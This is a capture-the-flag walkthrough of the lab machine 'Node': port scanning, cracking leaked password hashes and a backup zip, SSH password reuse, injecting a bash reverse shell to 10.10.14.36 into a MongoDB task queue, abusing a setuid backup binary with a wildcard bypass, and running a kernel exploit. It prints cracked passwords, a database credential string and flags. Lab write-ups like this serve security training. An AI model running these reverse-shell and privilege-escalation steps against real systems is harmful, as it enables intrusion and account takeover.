Node
Node
IP: 10.10.10.58
Nmap
└─$ sudo nmap -A -T4 -p- -oA nmap/node 10.10.10.58
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-15 08:59 EDT
Stats: 0:01:16 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 79.49% done; ETC: 09:01 (0:00:20 remaining)
Stats: 0:01:17 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 81.39% done; ETC: 09:01 (0:00:18 remaining)
Nmap scan report for 10.10.10.58
Host is up (0.027s latency).
Not shown: 65533 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 dc:5e:34:a6:25:db:43:ec:eb:40:f4:96:7b:8e:d1:da (RSA)
| 256 6c:8e:5e:5f:4f:d5:41:7d:18:95:d1:dc:2e:3f:e5:9c (ECDSA)
|_ 256 d8:78:b8:5d:85:ff:ad:7b:e6:e2:b5:da:1e:52:62:36 (ED25519)
3000/tcp open hadoop-tasktracker Apache Hadoop
| hadoop-datanode-info:
|_ Logs: /login
| hadoop-tasktracker-info:
|_ Logs: /login
|_http-title: MyPlace
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.11 (92%), Linux 3.12 (92%), Linux 3.13 (92%), Linux 3.13 or 4.2 (92%), Linux 3.16 - 4.6 (92%), Linux 3.2 - 4.9 (92%), Linux 3.8 - 3.11 (92%), Linux 4.2 (92%), Linux 4.4 (92%), Linux 3.16 (90%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 22/tcp)
HOP RTT ADDRESS
1 27.68 ms 10.10.14.1
2 28.06 ms 10.10.10.58
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 106.25 seconds
Web
Lets inspect the login functionality.
Spidering
Since, gobuster is not returning favorable response. Let’s spider the application using ZAP.
Found Users Hashes(Sha256):
\[{"\_id":"59a7365b98aa325cc03ee51c","username":"myP14ceAdm1nAcc0uNT","password":"dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af","is\_admin":true},{"\_id":"59a7368398aa325cc03ee51d","username":"tom","password":"f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240","is\_admin":false},{"\_id":"59a7368e98aa325cc03ee51e","username":"mark","password":"de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73","is\_admin":false},{"\_id":"59aa9781cced6f1d1490fce9","username":"rastating","password":"5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0","is\_admin":false}\]
First, let’s throw these hashes in https://crackstation.net/ to see if it cracks anything.
myP14ceAdm1nAcc0uNT:manchester (admin)
tom:spongebob
mark:snowflake
backup files
After logging in with with the account myP14ceAdm1nAcc0uNT. It gives a file to download.
The backup file seems to be base64 encoded.
$ base64 -d myplace.backup > bak
Inspecting the new file seems to be an Zip Archive. Let’s rename the extension and unzip it.
Ahh, the zip file seems to be password protected.
Lets crack it with John.
└─$ zip2john bak.zip > zip.hash
└─$ sudo john ./zip.hash --wordlist=/usr/share/wordlists/rockyou.txt
[sudo] password for kali:
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
magicword (bak.zip)
1g 0:00:00:00 DONE (2021-04-15 09:46) 8.333g/s 1536Kp/s 1536Kc/s 1536KC/s sandrea..joan08
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Inspecting the backup file
We have found an potential password.
Lets try to ssh with the obtained password.
Cool, We are logged in as mark user. It seems the user Mark has used the same password of Mangodb for ssh.
Lateral Movement
Searching for Interesting Files
Inspecting the processes that are running on the system.
It seems the user tom is running some tasks on MongoDB. Lets view the /var/scheduler/app.js
const exec = require("child_process").exec;
const MongoClient = require("mongodb").MongoClient;
const ObjectID = require("mongodb").ObjectID;
const url =
"mongodb://mark:5AYRft73VtFpc84k@localhost:27017/scheduler?authMechanism=DEFAULT&authSource=scheduler";
MongoClient.connect(url, function (error, db) {
if (error || !db) {
console.log("[!] Failed to connect to mongodb");
return;
}
setInterval(function () {
db.collection("tasks")
.find()
.toArray(function (error, docs) {
if (!error && docs) {
docs.forEach(function (doc) {
if (doc) {
console.log("Executing task " + doc._id + "...");
exec(doc.cmd);
db.collection("tasks").deleteOne({ _id: new ObjectID(doc._id) });
}
});
} else if (error) {
console.log("Something went wrong: " + error);
}
});
}, 30000);
});
Okay, seems like script is executing the defined tasks as shell command. We might leverage this to execute shell commands.So, we need to inject our command in tasks collection which will run as the user tom. Let’s create a setUID bit for bash executable.
Lets connect to MongoDB.
mark@node:~$ mongo -p -u mark scheduler
MongoDB shell version: 3.2.16
Enter password:
connecting to: scheduler
> show collections
tasks
> db.tasks.insert({"cmd":"db.tasks.insert( { "cmd" : "bash -c 'bash -i >& /dev/tcp/10.10.14.36/8080 0>&1'" })
WriteResult({ "nInserted" : 1 })
> db.tasks.find()
> { "_id" : ObjectId("60798fb38c39096050a4a959"), "cmd" : "bash -c 'bash -i >& /dev/tcp/10.10.14.36/8080 0>&1'" }
> ^C
bye
mark@node:~$ ls -la /dev/shm/
total 1016
drwxrwxrwt 2 root root 60 Apr 16 14:08 .
drwxr-xr-x 20 root root 3980 Apr 16 09:49 ..
-rwsr-sr-x 1 tom tom 1037528 Apr 16 14:08 tash
mark@node:~$
And got a reverse shell as tom.
We can also make create a setuid bit to change into the user Tom.
tom@node:~$ cat user.txt
cat user.txt
e1156acc3574e04b06908ecf76be91b1
tom@node:~$
Privilege Escalation
tom@node:/var/www/myplace$
tom@node:/var/www/myplace$ cd
tom@node:~$ find / -perm -04000 2>/dev/null
/usr/lib/eject/dmcrypt-get-device
/usr/lib/snapd/snap-confine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/local/bin/backup
/usr/bin/chfn
/usr/bin/at
/usr/bin/gpasswd
/usr/bin/newgidmap
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/pkexec
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/newuidmap
/bin/ping
/bin/umount
/bin/fusermount
/bin/ping6
/bin/ntfs-3g
/bin/su
/bin/mount
The sticky bit /usr/local/bin/backup seems interesting. If you had noticed the backup functionality is been used in the code /var/www/myplace/app.js or can also be found by greping recursively grep -Ri backup.
app.get('/api/admin/backup', function (req, res) {
if (req.session.user && req.session.user.is_admin) {
var proc = spawn('/usr/local/bin/backup', ['-q', backup_key, __dirname ]);
var backup = '';
So, /usr/local/bin/backup takes 3 arguments with -q , backup key and directory name and provides a zip file. We can use this to extract the root.txt.
If we run the executable with correct parameters
tom@node:/var/www/myplace$ cd /usr/local/bin/
3d98a8d0230167104d474 /rootbackup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc
[+] Finished! Encoded backup is below:
UEsDBDMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAcm9vdC50eHQBmQcAAgBBRQEIAEbBKBl0rFrayqfbwJ2YyHunnYq1Za6G7XLo8C3RH/hu0fArpSvYauq4AUycRmLuWvPyJk3sF+HmNMciNHfFNLD3LdkGmgwSW8j50xlO
6SWiH5qU1Edz340bxpSlvaKvE4hnK/oan4wWPabhw/2rwaaJSXucU+pLgZorY67Q/Y6cfA2hLWJabgeobKjMy0njgC9c8cQDaVrfE/ZiS1S+rPgz/e2Pc3lgkQ+lAVBqjo4zmpQltgIXauCdhvlA1Pe/BXhPQBJab7NVF6Xm
3207EfD3utbrcuUuQyF+rQhDCKsAEhqQ+Yyp1Tq2o6BvWJlhtWdts7rCubeoZPDBD6Mejp3XYkbSYYbzmgr1poNqnzT5XPiXnPwVqH1fG8OSO56xAvxx2mU2EP+Yhgo4OAghyW1sgV8FxenV8p5c+u9bTBTz/7WlQDI0HUsF
AOHnWBTYR4HTvyi8OPZXKmwsPAG1hrlcrNDqPrpsmxxmVR8xSRbBDLSrH14pXYKPY/a4AZKO/GtVMULlrpbpIFqZ98zwmROFstmPl/cITNYWBlLtJ5AmsyCxBybfLxHdJKHMsK6Rp4MO+wXrd/EZNxM8lnW6XNOVgnFHMBsx
JkqsYIWlO0MMyU9L1CL2RRwm2QvbdD8PLWA/jp1fuYUdWxvQWt7NjmXo7crC1dA0BDPg5pVNxTrOc6lADp7xvGK/kP4F0eR+53a4dSL0b6xFnbL7WwRpcF+Ate/Ut22WlFrg9A8gqBC8Ub1SnBU2b93ElbG9SFzno5TFmzXk
3onbLaaEVZl9AKPA3sGEXZvVP+jueADQsokjJQwnzg1BRGFmqWbR6hxPagTVXBbQ+hytQdd26PCuhmRUyNjEIBFx/XqkSOfAhLI9+Oe4FH3hYqb1W6xfZcLhpBs4Vwh7t2WGrEnUm2/F+X/OD+s9xeYniyUrBTEaOWKEv2NO
UZudU6X2VOTX6QbHJryLdSU9XLHB+nEGeq+sdtifdUGeFLct+Ee2pgR/AsSexKmzW09cx865KuxKnR3yoC6roUBb30Ijm5vQuzg/RM71P5ldpCK70RemYniiNeluBfHwQLOxkDn/8MN0CEBr1eFzkCNdblNBVA7b9m7GjoEh
QXOpOpSGrXwbiHHm5C7Zn4kZtEy729ZOo71OVuT9i+4vCiWQLHrdxYkqiC7lmfCjMh9e05WEy1EBmPaFkYgxK2c6xWErsEv38++8xdqAcdEGXJBR2RT1TlxG/YlB4B7SwUem4xG6zJYi452F1klhkxloV6paNLWrcLwokdPJ
eCIrUbn+C9TesqoaaXASnictzNXUKzT905OFOcJwt7FbxyXk0z3FxD/tgtUHcFBLAQI/AzMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAAAAAAAAAIIC0gQAAAAByb290LnR4dAGZBwACAEFFAQgAUEsFBgAAAAABAAEAQQAA
AB4EAAAAAA==
tom@node:/usr/local/bin$
By decoding the base64, we get a zip file and we can use the same password that we used before for opening the zip file.
┌──(kali㉿kali)-[/tmp]
└─$ echo -n "UEsDBDMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAcm9vdC50eHQBmQcAAgBBRQEIAEbBKBl0rFrayqfbwJ2YyHunnYq1Za6G7XLo8C3RH/hu0fArpSvYauq4AUycRmLuWvPyJk3sF+HmNMciNHfFNLD3LdkGmgwSW8j50xlO
6SWiH5qU1Edz340bxpSlvaKvE4hnK/oan4wWPabhw/2rwaaJSXucU+pLgZorY67Q/Y6cfA2hLWJabgeobKjMy0njgC9c8cQDaVrfE/ZiS1S+rPgz/e2Pc3lgkQ+lAVBqjo4zmpQltgIXauCdhvlA1Pe/BXhPQBJab7NVF6Xm
3207EfD3utbrcuUuQyF+rQhDCKsAEhqQ+Yyp1Tq2o6BvWJlhtWdts7rCubeoZPDBD6Mejp3XYkbSYYbzmgr1poNqnzT5XPiXnPwVqH1fG8OSO56xAvxx2mU2EP+Yhgo4OAghyW1sgV8FxenV8p5c+u9bTBTz/7WlQDI0HUsF
AOHnWBTYR4HTvyi8OPZXKmwsPAG1hrlcrNDqPrpsmxxmVR8xSRbBDLSrH14pXYKPY/a4AZKO/GtVMULlrpbpIFqZ98zwmROFstmPl/cITNYWBlLtJ5AmsyCxBybfLxHdJKHMsK6Rp4MO+wXrd/EZNxM8lnW6XNOVgnFHMBsx
JkqsYIWlO0MMyU9L1CL2RRwm2QvbdD8PLWA/jp1fuYUdWxvQWt7NjmXo7crC1dA0BDPg5pVNxTrOc6lADp7xvGK/kP4F0eR+53a4dSL0b6xFnbL7WwRpcF+Ate/Ut22WlFrg9A8gqBC8Ub1SnBU2b93ElbG9SFzno5TFmzXk
3onbLaaEVZl9AKPA3sGEXZvVP+jueADQsokjJQwnzg1BRGFmqWbR6hxPagTVXBbQ+hytQdd26PCuhmRUyNjEIBFx/XqkSOfAhLI9+Oe4FH3hYqb1W6xfZcLhpBs4Vwh7t2WGrEnUm2/F+X/OD+s9xeYniyUrBTEaOWKEv2NO
UZudU6X2VOTX6QbHJryLdSU9XLHB+nEGeq+sdtifdUGeFLct+Ee2pgR/AsSexKmzW09cx865KuxKnR3yoC6roUBb30Ijm5vQuzg/RM71P5ldpCK70RemYniiNeluBfHwQLOxkDn/8MN0CEBr1eFzkCNdblNBVA7b9m7GjoEh
QXOpOpSGrXwbiHHm5C7Zn4kZtEy729ZOo71OVuT9i+4vCiWQLHrdxYkqiC7lmfCjMh9e05WEy1EBmPaFkYgxK2c6xWErsEv38++8xdqAcdEGXJBR2RT1TlxG/YlB4B7SwUem4xG6zJYi452F1klhkxloV6paNLWrcLwokdPJ
eCIrUbn+C9TesqoaaXASnictzNXUKzT905OFOcJwt7FbxyXk0z3FxD/tgtUHcFBLAQI/AzMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAAAAAAAAAIIC0gQAAAAByb290LnR4dAGZBwACAEFFAQgAUEsFBgAAAAABAAEAQQAA
AB4EAAAAAA==" | base64 -d > file.zip
┌──(kali㉿kali)-[/tmp]
└─$ file file.zip
file: Zip archive data, at least v5.1 to extract
┌──(kali㉿kali)-[/tmp]
└─$ mv file file.zip
┌──(kali㉿kali)-[/tmp]
└─$ 7z e file.zip
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs Intel(R) Core(TM) i5-8350U CPU @ 1.70GHz (806EA),ASM,AES-NI)
Scanning the drive for archives:
1 file, 1141 bytes (2 KiB)
Extracting archive: file.zip
--
Path = file.zip
Type = zip
Physical Size = 1141
Enter password (will not be echoed):
Everything is Ok
Size: 2584
Compressed: 1141
┌──(kali㉿kali)-[/tmp]
└─$ cat root.txt
QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ
QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ
QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ
QQQQQQQQQQQQQQQQQQQWQQQQQWWWBBBHHHHHHHHHBWWWQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ
QQQQQQQQQQQQQQQD!`__ssaaaaaaaaaass_ass_s____. -~""??9VWQQQQQQQQQQQQQQQQQQQ
QQQQQQQQQQQQQP'_wmQQQWWBWV?GwwwmmWQmwwwwwgmZUVVHAqwaaaac,"?9$QQQQQQQQQQQQQQ
QQQQQQQQQQQW! aQWQQQQW?qw#TTSgwawwggywawwpY?T?TYTYTXmwwgZ$ma/-?4QQQQQQQQQQQ
QQQQQQQQQQW' jQQQQWTqwDYauT9mmwwawww?WWWWQQQQQ@TT?TVTT9HQQQQQQw,-4QQQQQQQQQ
QQQQQQQQQQ[ jQQQQQyWVw2$wWWQQQWWQWWWW7WQQQQQQQQPWWQQQWQQw7WQQQWWc)WWQQQQQQQ
QQQQQQQQQf jQQQQQWWmWmmQWU???????9WWQmWQQQQQQQWjWQQQQQQQWQmQQQQWL 4QQQQQQQQ
QQQQQQQP'.yQQQQQQQQQQQP" <wa,.!4WQQQQQQQWdWP??!"??4WWQQQWQQc ?QWQQQQQ
QQQQQP'_a.<aamQQQW!<yF "!` .. "??$Qa "WQQQWTVP' "??' =QQmWWV?46/ ?QQQQQ
QQQP'sdyWQP?!`.-"?46mQQQQQQT!mQQgaa. <wWQQWQaa _aawmWWQQQQQQQQQWP4a7g -WWQQ
QQ[ j@mQP'adQQP4ga, -????" <jQQQQQWQQQQQQQQQWW;)WQWWWW9QQP?"` -?QzQ7L ]QQQ
QW jQkQ@ jWQQD'-?$QQQQQQQQQQQQQQQQQWWQWQQQWQQQc "4QQQQa .QP4QQQQfWkl jQQQ
QE ]QkQk $D?` waa "?9WWQQQP??T?47`_aamQQQQQQWWQw,-?QWWQQQQQ`"QQQD\Qf(.QWQQ
QQ,-Qm4Q/-QmQ6 "WWQma/ "??QQQQQQL 4W"- -?$QQQQWP`s,awT$QQQ@ "QW@?$:.yQQQQ
QQm/-4wTQgQWQQ, ?4WWk 4waac -???$waQQQQQQQQF??'<mWWWWWQW?^ ` ]6QQ' yQQQQQ
QQQQw,-?QmWQQQQw a, ?QWWQQQw _. "????9VWaamQWV???" a j/ ]QQf jQQQQQQ
QQQQQQw,"4QQQQQQm,-$Qa ???4F jQQQQQwc <aaas _aaaaa 4QW ]E )WQ`=QQQQQQQ
QQQQQQWQ/ $QQQQQQQa ?H ]Wwa, ???9WWWh dQWWW,=QWWU? ?! )WQ ]QQQQQQQ
QQQQQQQQQc-QWQQQQQW6, QWQWQQQk <c jWQ ]QQQQQQQ
QQQQQQQQQQ,"$WQQWQQQQg,."?QQQQ'.mQQQmaa,., . .; QWQ.]QQQQQQQ
QQQQQQQQQWQa ?$WQQWQQQQQa,."?( mQQQQQQW[:QQQQm[ ammF jy! j( } jQQQ(:QQQQQQQ
QQQQQQQQQQWWma "9gw?9gdB?QQwa, -??T$WQQ;:QQQWQ ]WWD _Qf +?! _jQQQWf QQQQQQQ
QQQQQQQQQQQQQQQws "Tqau?9maZ?WQmaas,, --~-- --- . _ssawmQQQQQQk 3QQQQWQ
QQQQQQQQQQQQQQQQWQga,-?9mwad?1wdT9WQQQQQWVVTTYY?YTVWQQQQWWD5mQQPQQQ ]QQQQQQ
QQQQQQQWQQQQQQQQQQQWQQwa,-??$QwadV}<wBHHVHWWBHHUWWBVTTTV5awBQQD6QQQ ]QQQQQQ
QQQQQQQQQQQQQQQQQQQQQQWWQQga,-"9$WQQmmwwmBUUHTTVWBWQQQQWVT?96aQWQQQ ]QQQQQQ
QQQQQQQQQQWQQQQWQQQQQQQQQQQWQQma,-?9$QQWWQQQQQQQWmQmmmmmQWQQQQWQQW(.yQQQQQW
QQQQQQQQQQQQQWQQQQQQWQQQQQQQQQQQQQga%,. -??9$QQQQQQQQQQQWQQWQQV? sWQQQQQQQ
QQQQQQQQQWQQQQQQQQQQQQQQWQQQQQQQQQQQWQQQQmywaa,;~^"!???????!^`_saQWWQQQQQQQ
QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQWWWWQQQQQmwywwwwwwmQQWQQQQQQQQQQQ
QQQQQQQWQQQWQQQQQQWQQQWQQQQQWQQQQQQQQQQQQQQQQWQQQQQWQQQWWWQQQQQQQQQQQQQQQWQ
┌──(kali㉿kali)-[/tmp]
There is some blacklisting going on with /root. Let’s use wildcards to bypass the blacklist.
So, now
./backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /r*/r*.txt
Magicword should be provided to unzip the file which revels root.txt
└─$ echo -n "UEsDBAoACQAAANR9I0vyjjdALQAAACEAAAANABwAcm9vdC9yb290LnR4dFVUCQAD0BWsWUoAy1l1eAsAAQQAAAAABAAAAAA/ZKMQtXu6VLgOYauHiPNpylWek57zTCfyNtIC4S+bNV6Bt/igkMPdz+8xtWFQSwcI8o43QC0AAAAhAAAAUEsBAh4DCgAJAAAA1H0jS/KON0AtAAAAIQAAAA0AGAAAAAAAAQAAAKCBAAAAAHJvb3Qvcm9vdC50eHRVVAUAA9AVrFl1eAsAAQQAAAAABAAAAABQSwUGAAAAAAEAAQBTAAAAhAAAAAAA" | base64 -d > new.zip
┌──(kali㉿kali)-[/tmp]
└─$ unzip new.zip
Archive: new.zip
[new.zip] root/root.txt password:
extracting: root/root.txt
┌──(kali㉿kali)-[/tmp]
└─$ cat root/root.txt
1722e99ca5f353b362556a62bd5e6be0
Kernel Exploit
Version: Linux version 4.4.0-93-generic
LINK: CVE - 2017-16995
mark@node:/dev/shm$ gcc -o exploit ./test.c
mark@node:/dev/shm$ ./exploit
task_struct = ffff8800063cf000
uidptr = ffff880029215184
spawning root shell
root@node:/dev/shm# id
uid=0(root) gid=0(root) groups=0(root),1001(mark)
root@node:/dev/shm#